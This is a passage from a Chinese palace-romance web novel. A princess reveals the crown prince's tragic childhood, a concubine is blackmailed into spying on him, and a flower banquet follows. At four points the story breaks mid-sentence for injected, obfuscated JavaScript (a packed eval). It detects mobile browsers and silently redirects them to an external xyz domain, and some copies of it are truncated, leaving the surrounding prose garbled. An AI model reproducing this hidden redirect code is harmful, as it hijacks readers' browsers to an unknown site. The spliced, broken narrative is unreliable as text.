梁含章这才知道,此陶然居是驸马跟公主的私产,主要打造各色首饰珠宝专供长安贵人所用。公主不缺钱却也爱赚钱,这私产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15357542|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过一时兴起置办下的。 李洛华大手一挥:“章娘想要什么尽管拿,这店铺是挂在我名下,不用担心破费”。 梁含章几乎是被对方半拉半拽进入内间,里面的头饰金簪看着更是贵气,掐金丝的梅花盛放,雕镂着精致纹路的珠宝,上面刻着多子多福等字样,一只只灵动的鸟雀振翅欲飞。 她如临大敌,摆手拒绝:“我不善于打扮,还是算了吧。这么好的东西放我身上白白糟蹋了……” “嗨呀,你这人!”长平公主恨铁不成钢,指着她脑袋叹气道: “我可是听闻皇兄自把你纳入东宫便不曾来过后院,你想啊,即使他心里有你,这天长日久的还不得抛之脑后?日后若是再进新人,你的处境岌岌可危。再不悉心打扮一番勾引皇兄,你往后的日子真真艰难了!这样浅显的道理怎么就不懂呢?” 梁含章一时骇然。这公主……当真是此意思?直觉告诉她别人莫名其妙对自己好定是心怀鬼胎。 古语有云:礼下于人,必有所求。 可是,李洛华堂堂一朝公主,她有什么可求的呢?她所求的又有什么是自己如此低微身份能办到的? 所以,她到底想干什么?梁含章不着痕迹瞥了对方一眼,却见戴着幞头的公主尚在兴致勃勃给自己挑选首饰,还不时拿到头上比对一番。表面看着是个心思单纯之人。 罢了,姑且信之又何妨?这段时日她正愁通过何种方式接近讨好太子。如今有公主的力量助推,自己成功的几率更大些。思及此,梁含章微不可察勾了勾唇。 面上到底还得压抑心底阵阵喜意,她耷拉着眼皮垂头丧气道:“可是……殿下从不看我一眼,我担心如此行事更惹得殿下不喜……” “傻丫头”,公主揉揉她发顶,温和道:“你打扮得漂漂亮亮的去书房找他,依照本公主对男人的了解,他兴急之下说不准就地把你幸了!” 梁含章:“!!” 公主对男人很了解吗?好吧,她隐约听到些风言风语,公主府上除了驸马还养着几位面首。不过男人尚且三妻四妾,公主身份尊贵异常,有几个入幕之宾也实属正常。 梁含章说不出是何感受,可心里却隐约羡慕起公主来。当了公主吃穿不愁,身边时刻有人捧着,看上哪个男人还可以把人纳回去。 这是什么神仙日子! “你呀就是太老实,皇兄又是个闷葫芦,你俩凑一起真不知道我何时才能当上姑姑”。李洛华俨然一副长姐模样,不知是不是错觉,梁含章竟然从对方话里品出几丝落寞的意味。 所以,太子跟帝后等人到底有何矛盾?为何连公主也是这般反应? 很快她的疑惑便得到解答。 李洛华拉着她手坐到旁边圈椅上,神色肃穆中透露痛意。她低低道:“章娘,据我多年的经验,皇兄心里是有你的”。 “今日唤你出门除了挑首饰,还想跟你说说皇兄的过往”。她吸了口气,眼睛盯着远处虚无的一点,似乎以一个说客的身份陈述那些封尘已久的往事。 “皇兄出生没多久,适逢天下大乱,父皇有意挣一挣那至高无上的位子,便把他送到狄府养着。狄家与父皇素有交情,狄老爷为人更是仁孝温和忠义良善。抚养皇兄那几年狄公也确实尽心尽责把他当亲子看待”。 狄公也就是现今的狄国公,国公爷年过耄耋,被封为太子太师,听说与太子关系深厚。梁含章听人说过一嘴,没想到之间有这样一层缘故在。 10. 第十章 “熟料皇兄长到六岁,父皇反梁的队伍越发壮大,实力更是不容小视。” “其他政敌恨不得食肉寝皮,便想了一条毒计,劫走皇兄作为要挟父皇的棋子。他当质子那几年,我不知他如何煎熬,皇兄也从未对我言明过。只是,照那些猪狗不如的渣滓的性子,他的处境定是十分艰难的”。李洛华说到此处,声音已微微哽咽。 这些往事,她都是听身边的嬷嬷提起的,那时候年纪还小,她并不清楚皇兄过得如何水深火热。即便清楚也不能感同身受。 正因如此,她更心疼皇兄。 梁含章不知如何安慰,只能握住对方的手无声倾听,做专注认真的听众。 “就这样过了三年,当时父皇率领讨伐戾帝的军队横扫大梁各州县,梁朝灭亡已势不可挡。戾帝情急之下,以皇兄性命要挟父皇退兵并上交手中兵权。可照父皇的性子,努力这么多年眼看着要熬出头,如何肯答应?” 李洛华闭上眼睛,声音沉闷,“为了稳定军心,那日在城池之下,他甚至手持弓箭亲手射杀自己儿子,以向众军士表示灭梁的决心……” 梁含章听到此处早已忘记呼吸,内心惊骇无以用语言言表。 想不到平日冷清温和的储君,竟经历了这样一番人伦惨事。 仔细想想,他当时的年纪也才九岁啊,从小未曾拥有父母的爱也就罢了,居然亲眼目睹自己父亲将箭羽射入胸膛。 箭矢没入皮肉的那一刻,他的内心该有多绝望! 长平公主眼眸潮湿,浓重的鼻音堵在喉咙里,“我身为人子,无法指责父皇的做法,但身为皇兄的胞妹,每每想起此事便觉得痛彻心扉”,她捂着胸口喘气有些艰难。 空气沉闷,沉沉压在人的胸膛上。 梁含章察觉不对劲忙起身扶她,将茶喂到嘴边让公主喝下,口里劝道:“若是难受便先不说了,你皇兄苦尽甘来,往后的路定然一片坦途”。 李洛华深闷了一大口,这才喘着气继续,“后来梁国被灭,父皇如愿当上一国之帝王,当时几乎所有人都以为皇兄死了,没想到他居然在九死一生中成功脱险。 “为了弥补,父皇登基之日便将皇兄封为太子。只是皇兄从小长在外面,而二皇兄自落地起便一直长在阿爹阿娘膝下,随着他们有意无意偏宠二皇兄,皇兄与爹娘的关系越发疏远……”李洛华说到此,仿佛耗费了所有力气。 直到此刻梁含章才恍然大悟。怪不得李福曾说殿下与帝后关系微妙,长春宫那日不论皇后如何热情,李琤反应永远是淡淡的。当皇后提到尚在边关的二皇子时太子脸色更是僵硬。 原来,中间竟有这样一层原因在。 只是,当时没做好,如今才想着弥补,这样一来,帝后的行为便显得有些可笑。 先前她还对一国储君的尊贵心生艳羡,如今来看,太子不知吃了多少苦才走到如今的位子。他身上清冷的气质不过是为了掩盖不被爱的本质。 说起来,他跟她倒有缘。她自小被父母抛弃,李琤也不遑多让,出生没多久便被弃养在狄府。 可怜人配可怜人。真真天底下的可怜人都凑到了一起。 李洛华平复一下心情,郑重其事对她道:“我今日与你说这些,不为别的,就想让你多关心关心皇兄。 “他嘴上不说,但既已把你纳入东宫给了奉仪的位份,心里必定是有你的。章娘,你身为皇兄的姬妾,不论是为自己以后的前途亦或是旁的,多关怀他一些,总不会错的”。 “我虽然是他的胞妹,可你也知我比他小了五岁,皇兄万事都爱埋在心底不愿说出来,我也不知如何开解”。 她轻轻摇头,“总不能天天往东宫跑吧?且我身边有瑜哥儿放不开,跟他关系也不算亲近”。说起来,他们兄妹三人关系都谈不上多好。 “此事只有你做最妥当”。长平公主的话掷地有声。 梁含章一时间百感交集,不管出于什么目的,突然觉得自己重任在肩,她郑重点头:“我会的”。闪亮的眸子透露着坚定。 长平公主看她严阵以待的模样,一时间忍不住笑起来,摸摸她头道:“皇兄喜琴音,更是痴读经史典籍……” 突然想起梁含章奴仆出身,怕是不认识字,不由得问:“章娘可识字?” 梁含章小脸一红,不由得尴尬:“家里阿兄教过,只是比较难的字还是不懂”。 “这就够了”,李洛华沉吟片刻提议道:“不若你有空到我的长公主府上,教你弹琴如何?”既能修身养性又能博君子一笑。 梁含章如临大敌连连摆手,“这……公主,我一介奴仆出身,哪里学得来这等风雅之事呢?”这不是要了她的命吗? “我说你学得来就学得来”,李洛华哼气,“就算不为皇兄,多学一门手艺也是好的。往后你身为太子府奉仪,大大小小的聚会都要参加,那些个京都贵女最是附庸风雅,若是你什么都不会,到时候丢的可是东宫的脸面”。 梁含章细想,心道也是。她这段时间因病一直待在后院,但日后天长地久的总要出席宴会。若是没个技艺傍身,让人看低了太子可怎生是好? 况且,投其所好也是接近太子的良好时机。当即点头:“好,我跟殿下一起学!”十足的好学弟子模样。 “可说定了!”李洛华蹭一下站起来,嘴角吟着笑意。她之所以如此坚持,一来为了皇兄,二来她打心眼里喜欢奉仪这姑娘,有意栽培。 三来嘛,她儿子都三岁了,是真的想当姑姑! 接着拉她去选珠宝首饰头面。可最后到底没选成,因为奉仪一直推脱不要,公主无奈,只好每一样都让人拿上一些给东宫送去。 正当二人携宫娥准备出门时,手脚莽撞的小厮混乱冲撞,手里的茶一倒,全洒在梁含章衣裙上。 李洛华大怒,当即下令将小厮打三十大板。还是梁含章好说歹说将人劝下,可小厮行事莽撞,还是被扣了几个月的月钱。 秋分带她去内室更衣,公主又叫了个簪娘进来伺候。梁含章看到簪娘藏于衣袖下的熟悉徽章,眼神有一瞬间晦暗。旋即吩咐秋分出门取新衣裙来。 房门关上那一刹那,簪娘的声音冷冷响起,带着刺骨的寒意:“主人让我告诉你,别以为当上太子奉仪便万事不愁乐不思蜀。 “若想让梁显活命,就监视太子把他一举一动记录下来。这儿是联络的新地点,每隔一个月你便想办法把情报送来。” “我阿兄怎么样了?”梁含章揪着簪娘衣领怒问。 簪娘似被什么脏东西碰到,狠狠摔开她手,冷声道:“放心,只要你乖乖配合,他自然能好好活下去”。 “我又凭什么相信你?” 簪娘鼻孔里发出一声冷哼,黏腻如毒蛇般的目光上下逡巡,傲然道:“你除了相信还有别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15358212|167942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择吗?还是说……你当真不想救兄长性命?” 梁含章顿时如泄了气的皮球呆呆坐回凳子上,眼神怔愣。 是啊,她又有何选择? 阿兄的命攥在他们手里,这场游戏什么时候开始,什么时候结束,全由他们说了算。 看到对方服帖,簪娘面露得意,终于从袖管拿出一张字条:“喏,你那病痨子阿兄给你的”。 梁含章劈手夺过来,努力睁大眼睛不愿放过纸上一丝一毫。上面只有寥寥数语,诸如让她照顾好自己盼她珍重之类的话,确实是阿兄的笔迹。 她望着最后的“珍重”二字,笔力歪斜虚浮,松松垮垮,显然短短几个字,已经耗费阿兄很大的力气。 他提笔时,是不是有很多话想对她说? 只是,再多的话也没力气写了。 她吸了吸鼻子,以手掩面,声音哀伤又低哑:“你回去告诉主人,只要他好好待阿兄,我会努力谋取太子信任获取情报的”。 回去时,梁含章显然兴致不高,小脸恹恹靠在枕上。李洛华以为她逛了一天身体乏累,也不好打扰她。 一路无话。 上清宫。 琰光身着道袍,绵延细雨中不时闷出几声响雷。闪电划过天幕,留下一刹那绚丽的火花,照在他玄袍的特殊图腾上。 沉闷,阴郁。 他颧骨高高鼓起,上面立着两条凌厉的眉毛,唇边围着一圈虬髯,头发花白,整个人表面看上去仙风道骨,倒真有几分得道驾仙的模样。 梁显知道,那只是他精心伪装出来的模样,他内心有多邪恶嗜虐,自己心知肚明。也许梁朝王室身上天生流着暴虐无道的血脉,戾帝如此,琰光亦然。 早些年天下大乱之时,琰光险些丧命,后来堪堪捡回一条命腿却废了。自此,他走路一直一瘸一拐。 跛脚老道悄无声息走到梁显榻旁,看着这个连起身力气都没有的男人只能睁大一双厌恶的眼睛怒视着他。 一时心情愉悦,身体剧烈震动闷声笑起来,居高临下睥睨着梁显,尖细的声音直直刺入他胸膛: “她成功混入东宫成了奉仪,你是不是很伤心?” 梁显往床里侧偏头不再看他,对于这种蛇种豺狼漠视才是最好方式。 身上的蛊毒发作,似千万只蚂蚁在骨头缝里持续啃咬撕虐,不一会儿便大汗淋漓,整个人如同水里捞出来一样。梁显大口喘着粗气,嘴唇早已在剧烈痛苦中咬得伤痕累累,鲜血顺着下颌延伸流下来。 琰光仿佛看到什么令人极度愉悦的场面,笑得越加张狂,坐在床沿上欣赏着梁显此刻的痛苦,两条立着的眉毛以极其奇怪的姿势拧在一起。 “你呵护她这么久,那身皮肉还不是便宜了太子?”他状似惋惜,“你说说你,这么多年图什么呢?” 梁显苦笑,无尽的痛苦仿佛溢出嘴角,他此刻尤其想抓花这个阴毒老道的脸,最好能杀了他! 只要他死了就再也威胁不到章娘,章娘也不用潜伏在东宫过着刀尖舔血的生活。 所有的不幸,皆源自于他! 可是,身体被蛊虫控制,梁显连抬起手臂的力气也没有。 琰光笑意愈发阴冷,声音好似从十八层地狱中传出,空洞幽暗,“你此刻一定很想杀了我吧?” “可惜,你非但杀不了我,还得违背良心供我驱驰,可笑不可笑?” 11. 第十一章 随着太子与大理寺卿裴充审讯京城中与梁朝余孽勾结的一众逆党,一个惊天的消息也逐渐浮出水面——梁党主军在西南,其欲与土司联合意图谋划复国大计。 惠安帝深感不安,命令太子尽早解决此事,还天下黎庶宁定。 李琤也觉兹事体大,不可贸然行事。恰好与他一母同胞的贤王李瑄今在益州守卫边关大门,益州物阜民丰人杰地灵,又离土司人最近,贤王对当地民俗文化最熟悉。 故而派贤王去打探更为合适,一计敲定,李琤秘密修书一封让人送往益州,同时暗地又加派卫队前去。一来可以打探敌军虚实,二来也可协助贤王办事。 卫队和密信前天便已派出,李琤却深知逆贼魁首来势汹汹,如若处理不当必会危及社稷安危。故而这段时间来一直朝乾夕惕,不敢有丝毫懈怠。 正当他翻阅着有关西南土司的相关资料文献时,听到外面传来李福刻意压低的声音。同时顺着晚风传到耳畔的,还有一道娇柔的女子声音。 闻声识人,即使李琤没见过梁含章,也能猜出声音的主人是个温柔似水的女人。 不久,李福轻声推门而进,禀告道:“殿下,奉仪娘娘现正候在殿外,想求见殿下”。 早在听到那人的声音时,李琤便有些心绪不安,手中的书卷也不大看得进去。他揉揉太阳穴,认命般道:“请人进来吧”。 “老奴遵旨”。李福推门而去。下一瞬一衣着浅淡的身影迤逦走近,顺着人进来的,还有她身上淡淡的花香。花香与博山炉上燃烧的檀香混合,莫名让人心跳加快。 女人眸光似水,在殿内烛光照耀下浅化开来。她低垂臻首,露出一段光洁如玉的脖颈,娇柔道:“妾身拜见殿下”。 “起”。 “妾身听闻殿下与右领军大将军在校场操练不甚着了风寒,心中忧戚难安,亲自煮了姜汤想献给殿下,以解殿下劳病之苦”。 李琤:“你怎知孤同大将军去了校场?” 声音辨不出喜怒,但是人君不怒自威浑然天成的气势霎时间扑面而来。 梁含章自然察觉到了,二话不说直接扑通跪在地上,磕头认错:“妾身并非有意窥探殿下行踪,只是今日长平公主无意对妾说了一嘴,妾这才知晓此事”。 李琤看着地上动不动就三叩九拜的女人,一时间无言以对。身体倾斜倚靠着扶手淡淡道:“孤无事,不劳你挂心”。 略经思忖,颔首道:“姜汤放在这里,待会儿孤自然会喝。若是无事你就出去吧,孤还有公务要处理”。 李福站在旁边,眉毛拧成了麻花,心中恨铁不成钢。奉仪娘娘大老远来前堂增进夫妻感情,殿下怎么忍心把人推出去? 照二人这个进度,小皇孙什么时候才能出来? 梁含章却一反常态,抬头露出眉宇间的几分彷徨,硬着头皮道:“妾终日在后院无所事事,听闻殿下书房藏书众多,经史子集样样俱全。妾斗胆,不知殿下可否允许将书借来观摩一二?” 李琤挑眉略有不解:“你会识字?” 梁含章:“……” 无怪乎他会这样问,实在是世道常态。而今天下初定,百废待兴,许多平民家的孩子根本没有进学的机会。 就算有也是优先男孩儿,在百姓乃至大多数人眼里,女儿终归是要嫁出去的,读书不仅无用还有可能将心读野了。 女人嘛,安安分分待在后院,未嫁从父出嫁从夫,婚后相夫教子就行了。 李琤心里从不苟同此种观点。然不可否认,当时民风就是如此,一朝一夕更改不了。 平民尚且如此,何况食不果腹的她?他记得奉仪自幼为奴,后来侥幸被赎出去,到底依旧是贫苦之家,不然也不会沦落到去丰乐楼当洒扫丫鬟了。 并非他心里轻视对方。 梁含章站在原地,神色不自然,捏着裙角的手隐隐泛白,迟疑一瞬。她扬起脸道:“略微识得几个字,妾不敢班门弄斧”。 李琤惊了,她居然真的识字。“是何人所授?” “妾有一兄长略认得几个字,都是他教的”。 李琤:“孤记得你家里曾经只有老母相依为命,何处又冒出个兄长?” 梁含章:“并非亲兄长,邻居是老秀才一家,老秀才膝下有一子,因经常见面的缘故,妾就认了他做兄长”。 “原来如此”,李琤神情敛和,抬手道:“孤这里多是些晦涩难懂的典籍,你若想看尽管来拿。叫李福陪你一块找”。 “老奴遵旨”,在旁边站如雕塑的太监终于散发出人气。他弓腰请道:“娘娘随杂家来吧”。 梁含章看了眼重新投入公务的男人,跟在李福身后进去了。 “不知娘娘想看什么书?”李福请示道。 借书只是个幌子,梁含章略有几分不自在,捋捋耳边的头发小声道:“都可以,先看看吧”。 “老奴倒觉得这些风光游记娘娘会喜欢”,李福抽出几本书递过来,“这是历朝历代游学大家著作,叙述的是沿途风光及风土人情,想来有趣些”。 梁含章接过随意翻了翻,旋即递给一旁的冬至。这趟先借着几本,给殿下留下个好读书的好印象,待时日久远她再循序渐进读些经史子集国学机要,如此一来,跟殿下不就有更多话题了? 长平公主言太子才学宏博,文思工巧,前年在皇后千秋宴上看到一才女做的诗词,赞不绝口极尽溢美之词。想来他是喜欢才学渊博的女子。 如此一来,她在他面前树立好学的形象,岂不是投其所好? 送人出去后李福又重新进来,看到太子正看着桌旁食盒里的姜汤,不由小心催促道:“殿下虽未着伤寒,这姜汤也是娘娘一片苦心,殿下何不趁热喝下?” 李琤轻哼一声,心里却涌现出不知名的快意,端过姜汤一饮而尽。 热汤穿过肠胃,让他身子瞬间发热,高鼻薄唇肩膀宽阔的俊美男人,墨色眼睛不知不觉温柔起来。 李福跟随殿下这么多年,可以说从殿下呱呱坠地便伴在身旁,因而年轻储君此刻的心情也能猜个八九不离十,不禁笑着赞叹道:“殿下,如今娘娘一来,终于有个贴心人关心殿下衣食起居了”。 李琤挑眉,故意挑刺:“难道你这个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李福作为太子身边的首席大总管,对东宫一切事物了如指掌,这偌大书房没有他不熟悉的,可以说,哪本书在哪里,长什么样,他再清楚不过。 室内一下子安静下来,只有翻书的沙沙声,烛火氤氲,让李琤心里有片刻惬意。 不巧,下一瞬传来一阵极笨重的嘭嘭声,沉闷而厚重,似是重物砸在地上发出的剧烈声响。 李琤太阳穴突突跳,忍着怒意喊一声:“李福!”回答他的只有老太监哎哟哎哟的痛苦叫唤声。 太子噌一下从书案前站起往后面走去,映入眼帘的是李福肥胖的身躯被藏书架卡住的狼狈样子。 他还在试图往外挣扎着出来,老脸憋得通红,活像一只煮熟的老虾。眼看着随着他动作两旁书架摇摇欲坠,书架上的藏书几乎要掉下来。 李琤有一瞬间气短,屈尊降格过去打算将人拉起来,谁知太监的腰被书架卡住死活拉不出来。又担心用力之下书架倒塌,到时候砸在老太监身上不死也伤。 气得踹了一下他肥如水桶的老腰,冷声喝道:“这是暗地里背着孤贪了东宫多少油水!”否则怎长得如此虎背熊腰! 12. 第十二章 二月中旬,春风拂面杨柳吐绿,二月春风似剪刀,到处都是莺啼燕舞一派姹紫嫣红的气象。大晋迎来一年一度的百花节。 公主府设百花宴,京城大大小小的闺阁女子及妇人都收到了请帖,受邀前来同庆司春之神。 李琤进门时就看到聚在不远处三五成群衣着鲜亮的妇人女子,心下不喜,步伐明显快了些。 这等闺阁女子的聚会男儿向来鲜少参加,遑论他还是一国太子。此番前来不过是寻驸马商议要事,凑巧而已。 眼尖的妇人早看到迎面而来走在大将军赵文前面的俊美男子,虽然未着象征储君身份的五爪蟒袍,大家多多少少猜出来对方身份。 试想,赵文堂堂公主驸马,又是朝野闻名的右领军大将军,早年天下大乱时凭借出人意表的军事才能协助惠安帝夺得帝位,居功厥伟。 除了皇帝和太子,还有谁能如此大摇大摆走在他面前?反观身后跟着的赵文,略微低垂的脸上带着恭敬。 因此,此人必是太子无疑。 陆续有人跪在地上行礼问安:“臣妇/臣女参见太子殿下”。后面的人家见情势不对,顾不上分辨一二也跟着旁人跪下。 方才还叽叽喳喳的湖畔一下子鸦雀无声。李琤脚步微顿,视线往前扫去,与一眼波如秋水的女子对视上。 似乎没想到他会看见她,女子怔愣片刻很快垂下臻首不敢再看。 李琤远瞧着她毛茸茸的脑袋,微不可察翘起嘴角,很快又敛去。他淡声道:“起吧”。 李洛华一身红衣走上前,察觉皇兄视线有意无意略过梁含章,笑意愈深,抓着他胳膊撒娇:“皇兄待会儿谈完公事可莫要急着走,小妹尚有要事相商”。 李琤略微颔首,便要抬脚往前走。身后的赵文目光炯炯看了自己妻子一眼,棕色眸子带着若有似无的怨怼,方若无其事跟在太子身后往议事堂走去。 李洛华:? 她哪里惹他了吗,至于跟个怨妇一般看她?也不知道这人在三军将领面前的威严是如何装出来的。 直到那抹竹青色影子逐渐行远,人群中才逐渐响起议论声:“这就是太子殿下?” “太子怎生得这般俊美?” “方才他就站在我面前,气势特别吓人,我都没敢抬头看他”。 “也不知道日后的太子妃是谁,京城各家,也不知谁有这天大的福气了”。 即使梁含章没怎么注意听,这些话依旧陆续往自己耳朵里钻。她挑挑眉,心中颇为赞许。这太子真真谪仙一般的人物,也不知道日后会娶谁家女子作太子妃。 “不是说东宫不久前纳了位奉仪进来吗?听说还是个伺候人的丫鬟。也不知道使了什么狐媚手段居然还真就让她飞上枝头变凤凰了!”有人愤愤不平。 “哎,你小点声”,有人用手肘提醒那大放厥词的女子,“此次百花宴,这位奉仪也在邀请之列,听说公主对其看重异常,你可不要触了霉头”。 “怎么,我还怕她不成?”女子陡然拔高声音,引得周围人侧目。 “公主是天潢贵胄我自然尊敬万分,可那个狐媚子明摆着使了狐媚手段才进的东宫,身份低微粗鄙不堪,难道我还不能说吗?” 说着挑衅看了眼梁含章,冷哼一声。 春分听得生气,忍不住上前替娘娘讨回公道。却半道被梁含章拉回去,“莫要惹是生非”。 “娘娘!”春分义愤填膺,“她摆明了欺负娘娘,这个气怎生忍得?” 虽然她和夏至背地里没少说奉仪的坏话,但一码归一码,她说是她的事,若是外人如此瞧不起她们家娘娘,敢如此贬低东宫,这就忍不了了! “忍一时风平浪静”。 “可……”春分还想再说什么,被梁含章扯住衣袖,蹙着眉毛摇头。奉仪性子懦弱她一直是知道的,没想到如今人家都欺负到这个份上,娘娘依旧想着息事宁人。 果然烂泥扶不上墙。 春分心里憋着一肚子火,与夏至对视一眼,旋即气冲冲退后。 明目张胆议论东宫奉仪的是伯义侯府二房的嫡女,名叫庄月,人唤月娘。伯义侯府是朝廷近年来兴起的勋贵,只因庄家大房为国捐躯救圣上于危怠之间,圣上勉其忠心,特赐为伯义侯,袭爵三代。 庄家是因着大房才水涨船高,庄月却一直自诩侯府贵女,言语间俨然自己父亲就是伯府侯爷,端的是高高在上斜眼看人的派头。 李洛华自然也听到这番言语,面不改色朝诸位笑道:“诸位都站累了吧,快些落座,百花宴稍后就开始”。 众位命妇小姐又纷纷跪地拜谢。正当人群往水榭方向行去时,不知是何缘故,人群中突然传来一声尖叫,旋即“噗通”一声,有人失足落水。 人群一下子喧闹起来,有人被吓得花容失色,有人看热闹不嫌事大站在旁边拍手叫好。李洛华冷眼看着水下女子逐渐体力不支,这才吩咐会水的婢女下水施救,同时挥退站在岸边值守的侍卫宦官。 现下还是二月,虽然气温已经升高不少,池水依旧是冰冷刺骨,寻常人落水尚且被冻得难以忍受,遑论月娘这个娇滴滴的闺阁女子。 被人捞上来时早已不省人事。众人看到庄月浑身狼狈,金钗首饰早不知掉到什么地方,头发粘在胸前,脸色煞白。一时都有些心惊肉跳。 岸边的围栏不算低,若月娘不是故意爬上去,失足落水的机会可谓小之又小。 看了看上首面不改色与奉仪谈笑的公主,众人心知肚明,再不敢随便议论奉仪出身。 梁含章清楚公主这是为自己出头,心中有如一阵暖流淌过,她真心实意感谢:“多谢公主”。 “哎呀都跟你说过多少遍了,不要叫公主,多生分啊”,李洛华嘴角闪过一抹笑意,诱哄道:“叫我姐姐”。 梁含章:“……” “阿娘又到处哄人喊你姐姐”,赵瑜小大人似的双手剪在身后,一张酷似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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向来只有别人伺候她的份,断没有她伺候别人!想要那种姿势,下辈子吧! 梁含章收回视线,这句调侃的话李洛华说过多遍,她早习以为常,再没有一开始的羞臊扭捏。 况且,接近太子,于她来说也是乐见其成的。 她之所以艳羡,是打心底羡慕小公子受宠。因经常来公主府的缘故,她也碰到过几回世子和赵文一起的场景。看到大将军堂堂武将,居然拿起勺子亲自给赵瑜喂饭,神色满是慈爱,没有丝毫不耐烦。 这种场景,莫说公侯贵族,就是平民百姓家也少之又少。在许多人眼里,孩子只是他们传宗接代的象征,生出来便不管不顾。等到老迈时还要抱怨一句孩子不懂生养之恩。 她未见过亲生父母,但料想也是那一类人吧。否则,怎么说卖就卖了呢? 天伦之乐,父母亲情,大抵天生与她无缘。 13. 第十三章 议事堂里的话题依旧是梁党谋逆之事,李琤前天收到消息说西南地动,土司人伤亡不少,梁党主力在西南,估计也不能幸免。 对方兵力与大晋想比本就少,天灾人祸的摧残之下又损伤大半,因而不足为惧。现在他主要担心的就是己方阵营有人叛变,尤其是手握军权的将领。因此不可掉以轻心。 此番前来就是让赵文这段时间注意军中的所有异动,若是抓到叛变投敌的,马上处理以绝后患。 正事谈完没多久,小世子噌噌噌踩着软缎鞋破门而入,二话不说扑到李琤身上,声音软糯糯的:“舅父,抱抱!” 既然舅母被阿娘霸占着,他就来找舅父。舅父一向宠他,这个小小的要求定然不会拒绝。 果不其然,李琤笑逐颜开,一双有力的臂膀搭在小孩儿腰间将人高高举起,转了几圈旋即道:“瑜哥儿来做什么?” 赵瑜窝在他怀里,小手放在太子脖子上,神神秘秘道:“舅父,瑜儿带你去一个地方”。他没忘记阿娘给的任务,说得鬼鬼祟祟,还将手搭在嘴边警惕看了眼自己阿父。 赵文:“……”得,他这个亲爹倒成外人了。 “去什么地方?”小家伙的手下意识要摸他头发,被李琤眼疾手快抓住。这家伙有前科,从小就爱抓人头发,力气又大,在他的毒手下没被薅掉几根头发是不可能了。 赵瑜见对方看出自己意图,讪笑一声,跟舅父脸贴着脸撒娇:“哎呀,去了就知道嘛,现在说出来岂不是没意思?” “你这小家伙还知道什么有意思?真是稀奇”,李琤调侃他,毫不犹豫戳穿:“是不是又想偷懒耍滑?今日的大字练完了吗?” 赵瑜顿时如泄气的气球,气冲冲闹着要下去。今天这趟他就不该来,早知道舅父是什么性子,每次遇到他不是问写了什么字,读了什么书,就是问今日功课做完了吗。 阿父都没像他这样。真是可恶。 他可怜巴巴回到赵文身边,抱着他胳膊撒娇:“阿父,今日孩儿的手很酸很累,已经写了两页大字了,剩下的能不能明日再写?” 赵文早知道自己儿子是什么尿性,说着是推辞到明天,实际上到明天也会有新的理由。想让他写字,下辈子吧。 他深知不能任由孩子胡作非为,子不教父之过,若再任由他如此怠惰下去,长大后怎生了得? 可是看着小家伙那双跟妻子如出一辙的眼睛,再硬的心肠也变软了,自欺欺人板着脸道:“明日一定要补回来,切不可偷懒”。 “知道啦!”小娃儿高兴得手舞足蹈,神色之间不无得意。 “微之,你再如此娇惯孩子,日后怎生了得?” 赵文神色自若:“瑜儿不是读书的料,微臣再如何逼迫也于事无补,倒不如让他高高兴兴的,长大后再做区处”。 “谁说我不是读书的料?”赵瑜一听这话登时急了,气得脸红脖子粗,委屈道:“阿父怎能如此说孩儿?昨日先生还夸瑜儿天资聪颖他日定成栋梁之才,孩儿聪明着呢!” 一边说一边小眼泪儿巴巴往下落,赵文顿时心疼,忙把小孩儿搂到怀里安慰:“是阿父的错,阿父胡言乱语的,瑜儿莫要生气好不好?” “哼,不理你了!”小家伙倔强扭头,决计不看他一眼。赵文哄了许久才将小孩儿的气性降下来。 李琤在一旁看得惊奇,他不怎么来公主府,自然没见过赵文哄孩子时低声下气的样子。这个发号施令统帅三军的大将军,回到家是这样哄孩子的? 倒是稀奇的很。 他饶有趣味看着父子俩,淡声道:“若孤有了孩儿,定不会像微之这般”。 他如果有了骨肉,会疼他爱他,若是男孩儿,会亲自教他骑马射箭的功夫。若是女孩儿,会亲自教她读书习字,他会把生命中的一部分时间花在她们身上。 但是,绝不会如此溺爱。 “若殿下真有了至亲骨肉,到时候就能与臣感同身受了”。赵文轻轻抚摸着怀中小儿的脊背,给他顺毛。 年少不更事,未遇到公主未当人夫人父之时,他也对此等父母溺爱孩子之事嗤之以鼻。 等到真完成身份的转变,许多动作都是下意识的,根本没那么多思考的空间。 最后,李琤还是被小儿强拉着出门往外走去,太子揉揉眉心隐约有些不耐烦,这小娃儿也忒烦人了,闹得一出是一出。 可是也说不出什么拒绝的话,更怕惹得赵瑜哇哇大哭,到时候就更难收场了。 